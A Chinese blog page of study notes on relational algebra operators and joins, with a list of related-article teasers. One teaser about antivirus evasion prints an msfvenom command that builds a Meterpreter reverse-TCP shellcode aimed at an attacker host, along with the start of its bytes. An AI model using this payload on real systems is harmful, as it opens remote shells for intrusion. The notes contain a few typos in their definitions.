关系数据库基础:关系代数运算知识笔记

      

 

1、关系代数运算符

集合运算符:并(U)、差(-)、交(∩)、笛卡尔积(×)

专门的关系运算符:选择(∂)、投影(π)、连接(∞)、除(÷)

算术比较符:大于(>)、大于等于(≥)、小于(<)、小于等于(≤)、等于(=)、不等于(≠)

逻辑运算符:非(¬)、与(∧)、或(∨)

2、五种基本的关系代数运算

并(Union):关系R与S具有相同的关系模式。关系R与S并由属于S的元组构成的集合。记作RUS={t|t∈R∨t∈S} t为元组变量。

差(Differece):关系R与S具有相同的关系模式,关系R与S的差是由属于R但不属于S的元组构成的集合,记作R-S,其形式定义如下:R-S={t|t∈R∧t∉S}

广义笛卡尔积:关系R和S的广义笛卡尔积是一个(n+m)列的元组的集合。记作R×S。

投影(Projection):投影运算是从关系的垂直方向进行运算,在关系R中选择出若干个属性列A组成新的关系,记作π(R)={t[A]|t∈R }。可以理解为数据库查询某张表某几个列。

选择(Selection):选择运算是从关系的水平方向进行运算,是从关系R中选择满足给定条件的诸元组,记作∂(R)={t|t∈R∧F(t)=True}。可以理解为查询语句后面加where查询条件。

3、扩展的关系运算

3.1 交(Interp)

关系R与S具有相同的关系模式,关系R与S的交由属于R又属于S的元组构成的集合,关系R与S的交记作R∩S={t|t∈R∧t∈S}=R-(R-S)=S-(S-R)

3.2 连接(Join)

0连接:从R与S的笛卡尔积中选取属性间满足一定条件的元组。

等值连接(Equijoin):当0为“=”时,称之为等值连接。

自然连接(Natural Join):是一种特殊的等值连接,它要求两个关系中进行比较的分量必须是相同的属性组,并且将结果集中的重复属性列去掉。

说明:一般连接是从关系的水平方向运算,自然连接不仅要从关系的水平方向,而且要从关系的垂直方向运算。因为自然连接要去掉重复属性,如果没有重复属性,那么自然连接就转化为笛卡尔积。

3.3 除(Division)

除运算是同时从关系的水平方向和垂直方向进行运算。给定关系R(X,Y)和S(Y,Z),X、Y、Z为属性组。

3.4 广义投影(Generalized Projection)

广义投影运算允许在投影列表中使用算术运算,实现了对投影运算的扩充。

3.5 外连接(Outer Join)

外连接是连接运算的扩展,用来处理确实的信息。有左连接、右连接、全连接。

 

 

IT技术分享社区

个人博客网站:https://programmerblog.xyz

文章推荐程序员效率:画流程图常用的工具程序员效率:整理常用的在线笔记软件远程办公:常用的远程协助软件,你都知道吗?51单片机程序下载、ISP及串口基础知识硬件:断路器、接触器、继电器基础知识

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/271274.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

POJ 1308 Is It A Tree? (并查集)

Is It A Tree?题目链接: http://acm.hust.edu.cn/vjudge/contest/123393#problem/M Description A tree is a well-known data structure that is either empty (null, void, nothing) or is a set of one or more nodes connected by directed edges between node…

Mysql分页加pagebean_Spring+MyBatis+SpringMvc+Mysql+Druid+PageHelper分页实现

我是阿福,公众号「阿福聊编程」作者,一个在后端技术路上摸盘滚打的程序员,在进阶的路上,共勉!文章已收录在 JavaSharing 中,包含Java技术文章,面试指南,资源分享。思路分析MyBatis的…

python csv使用_python CSV模块的使用

简介 CSV(comma separated values),逗号分隔值(字符分割值,字符可以不是逗号),常用的文本格式,用以存储表格数据,包括数字或者字符。kaggle就是csv格式,pytho…

JDK 与 JRE区别

JDK 与 JRE JDK 与 JRE 是我们经常遇到的概念,但许多学习了几年的开发都搞不懂他们之间的区别。简单地说 JRE(Java Runtime Environment)仅包含运行 Java 程序的必需组件,包括 Java 虚拟机以及 Java 核心类库等。而 JDK&#xff…

数据库技术基础:查询优化相关知识笔记

1、查询优化的基本概念1.1 查询处理查询处理是指从数据库中提取数据的一系列活动。主要包括:将高级数据库查询语句翻译成文件系统这一物理 层次的表达式,为优化查询进行各种转换以及查询的实际执行。1.2 查询处理的代价查询处理的代价通常由磁盘的访问,因…

设计模式----解释器模式

一、简介 解释器模式使用频率并不高,通常用来构建一个简单语言的语法解释器,它只在一些非常特定的领域被用到,比如编译器、规则引擎、正则表达式、sql解析等。 解释器模式是行为型设计模式之一,它的原始定义为:用于定义…

HTML学习笔记16——尺寸的表示_px、%、em三种

1.像素表示: 23px 2.子像素可以用百分比表示其大小,如50%,表示为父元素的一半 如果块状子元素的宽度不指定,默认是占满父元素的宽度; 3.用em表示字体大小时,表示相对大小,是与父元素的比值&…

mysql索引是自动使用吗_mysql索引是自动使用吗?

MYSQL在创建索引后对索引的使用方式分为两种:其一,由数据库的查询优化器自动判断是否使用索引;其二,用户可在写SQL语句时强制使用索引。MYSQL在创建索引后对索引的使用方式分为两种:1 由数据库的查询优化器自动判断是否…

mac idea配置配置自动清除类中无用的import包

1:mac快捷键清包 control option o windows快捷键 Ctrl Alt O 2:打开Perferences ---> Editor --->Auto Imort 在下图选中方方框中勾上

关系数据库基础:函数依赖知识笔记

1、函数依赖的定义设R(U)是属性集U.上的关系模式,X, Y是U的子集。若对于R(U)的任意一个可能的关系r,r中不可能存在两个元组在X集合上的属性值相等,而在Y上的属性值不等,则称X函数确定Y或Y函数依赖于X,记作X→Y。理解:X,Y为两个集合…

pythonspark实例_spark+python快速入门实战小例子(PySpark)

1、集群测试实例 代码如下: from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

SQL数据库。按年,月,日查询

select * from pop where year(pdate)年份 and month(pdate)>1 and month(pdate)<3select * from Mall_Coupons where year(StartDate)2011 and month(StartDate)>12 and month(StartDate)<2转载于:https://www.cnblogs.com/wybshyy/p/5847894.html

【Spark】Spark基础教程知识点

第 1 部分 Spark 基础 Spark 概述 本章介绍 Spark 的一些基本认识. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一个快速(基于内存), 通用, 可扩展的集群计算引擎 并且 Spark 目前已经成为 Apache 最活跃的开源项目, 有超过 1000 个活跃的贡献者. 历史 2009 年…

关系数据库理论:数据库的六大范式知识笔记

1、数据库范式的作用数据库范式主要是为解决关系数据库中数据冗余、更新异常、插入异常、删除异常问题而引入的设计理念。简单来说&#xff0c;数据库范式可以避免数据冗余&#xff0c;减少数据库的存储空间&#xff0c;并且减轻维护数据完整性的成本。是关系数据库核心的技术之…

python 生成payload_利用Python进行Payload分离免杀

缺点&#xff1a;编译成exe以后体积过大实现&#xff1a;msf生成shellcode代码&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c将payload给copy下来&#xff0c;去除引号。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初识docker

前言大家好&#xff0c;我是jack xu&#xff0c;本篇是我在今日头条的首秀&#xff0c;我的英文名来源于jack ma&#xff0c;马云&#xff0c;所以大家也可以叫我徐云&#xff0c;即我希望像马云一样富有、成功&#xff0c;另外我名字中的杰与jack也是谐音关系。今天给大家带来…

H5基础标签

一、字体标签 1.text-indent&#xff1a;首行缩进 2.text-decoration&#xff1a;文本修饰&#xff08;text-decoration&#xff1a;none;除去文字的下划线&#xff1b;text-decoration&#xff1a;line-through&#xff1b;文字上加删除线&#xff09; 3.letter-spacing&#…

SQL语言基础:数据库语言概念介绍

1、概念介绍SQL&#xff08;Structured Query Lanauage&#xff09;结构化查询语言是关系数据库中最普遍使用的语言。主要包括查询、数据操纵、数据定义、数据控制功能&#xff0c;是一种通用的、功能强大的关系数据库的标准语言。2、SQL语言分类2.1 数据库定义语言&#xff08…

configuration 命名空间_kubernetes30:monitoring命名空间处于Terminating状态的处理方法...

删除monitoring命名空间时总也无法彻底删除&#xff0c;发现monitoring处于Terminating状态&#xff0c;故有此文。kubectl get namespaces -o wide解决&#xff1a;尝试使用force delete。kubectl delete namespace monitoring --force --grace-period0发现强制删除没有成功。…

SQL语言基础:SQL语言概念知识笔记

1、SQL标准ANSI&#xff08;美国国家标准机构&#xff09;SQL对ANSI SQL进行修改后在1992年采用的标准SQL-92或SQL2SQL-99或SQL3标准从SQL2扩充而来&#xff0c;增加了对象关系特征和许多其他新的功能。最近的标准版本是SQL&#xff1a;20032、SQL的特点综合统一&#xff1a;SQ…